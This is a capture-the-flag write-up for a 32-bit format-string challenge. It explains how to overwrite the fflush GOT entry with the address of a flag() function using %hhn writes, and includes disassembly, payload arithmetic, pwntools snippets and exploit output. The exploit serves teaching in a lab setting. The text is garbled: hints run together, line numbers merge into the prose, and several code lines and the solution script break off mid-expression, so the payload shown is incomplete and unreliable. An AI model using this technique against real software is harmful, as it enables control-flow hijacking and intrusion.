This challenge contains a rather difficult format write. Give this a try! If you're stuck, check out the full solution below. Note that the binary is in x86, meaning conventions like lln and llx don't make sense here.
Stuck? Open one hint at a time before reading the solution.
printf? With Partial RELRO, their GOT entries are writable.%hhn.%x, or x/20x $esp in GDB). Put the target addresses after the format string at a known offset.printf also counts every character it printed before your input, so subtract those from each %c width.This challenge will follow the same solution style as the previous two problems. However, if that proves to be confusing, an interesting solution can be found on Nightmare. This demonstrates there is always more than one way to solve these challenges, so if one way isn't working, try another!
Looking through the binary, there is a clear format string vulnerability inside main:
10x080487d0 <+172>: lea eax,[ebp-0x138]
20x080487d6 <+178>: push eax
3From here, we'll follow the same format as before. We recognize the only two functions called after printf are fflush and exit; either can be chosen for this challenge. I chose fflush to not interfere with the proper exiting of the program.
Then, we use the GOT table to check for the address of fflush to perform a GOT Overwrite. This is possible because we only have Partial RELRO.
[0x804a028] fflush@GLIBC_2.0 → 0x80485c6Therefore, we must write the values starting at 0x0804a028. We want to write the address of the flag function:
i fu flagAll functions matching regular expression "flag":Non-debugging symbols:0x0804870b flag()We'll start this payload one at a time and incrementally check ourselves.
We start with the least significant byte. We want 0x0b there, which is 11 bytes, so a first attempt might look like:
payload = b"%11c%22$hhn"(We'll justify the 22 shortly.) If we send this, though, the wrong value lands in the GOT. The reason becomes clear if we run the binary normally and look at what it prints before our input is echoed back:
./challHello baby pwner, whats your name?AAAAOk cool, soon we will know whether you pwned it or not. Till then Bye AAAAThere is a fixed string — exactly 70 characters — printed before our format string is processed. printf counts those bytes too, so by the time our %hhn fires we've already "written" far more than 11.
To fix this, we overcount. Since 70 > 11, we wrap around to the next multiple of 0x100 and target 0x10b instead of 0x0b. An f-string keeps the arithmetic readable:
payload = f"%{0x10b-70}c%22$hhn".encode()22 come from?10 (confirm with gdb, e.g. x/20x $esp). Our finished format string works out to 48 bytes — 12 four-byte blocks — so the four addresses we append land right after it, starting at argument 10 + 12 = 22.Now we continue for the remaining three bytes. Each %hhn writes a single byte, and each count accounts for the bytes already printed so the running total wraps to the byte we want:
1payload += f"%{0x187-0x10b}c%23$hhn".encode() # 0x87
2payload += f"%{0x204Finally, we pad the format string out to its full 48 bytes and append the four target addresses — fflush@GOT followed by its next three bytes:
1payload = payload.ljust(48, b".")
2payload += p32(0x0804A028)
3payload += p32(0x0804A029)Putting it all together:
1from pwn import *
2
3elf = context.binary = ELF("./chall")
4This yields us a successful flag read!
python3 solution.py[*] './chall' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) Stripped: No[+] Starting local process './chall': pid 150921[*] Switching to interactive modeHello baby pwner, whats your name?Ok cool, soon we will know whether you pwned it or not. Till then Bye \x14 \xb8 \x84 \x04(\xa0\x04\x08)\xa0\x04\x08*\xa0\x04\x08+\xa0\x04\x08IFC{PL4C3H0LD3R_FL4G_H3R3!}